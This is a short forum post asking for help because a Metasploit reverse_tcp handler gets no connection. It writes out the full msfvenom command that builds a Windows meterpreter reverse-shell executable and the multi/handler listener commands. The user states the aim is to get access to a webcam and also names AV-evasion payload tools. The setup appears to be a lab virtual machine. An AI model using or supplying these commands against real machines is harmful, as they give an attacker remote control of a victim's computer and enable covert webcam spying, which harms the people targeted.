Metasploit reverse_tcp Handler Problem

Hi, I am a Kali Linux user,

and I used metasploit to get access of the webcam.

In the last virtual machine, it worked well, but in this virtual machine, the payload does not execute.

I did :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.x.x LPORT=4444 -f exe > /root/Desktop/abc.exe

Until now, It successfully worked, but in the metasploit framework console,

use exploit/multi/handler

set LHOST 192.168.xx

set LPORT 4444

exploit -j -z

then it says

Exploit running as background job 0.

Started reverse TCP handler on 192.168.x.x:4444

Then it does nothing.

So I can not even use Veil,TheFatRat,zirikatu now.....

Please Help.
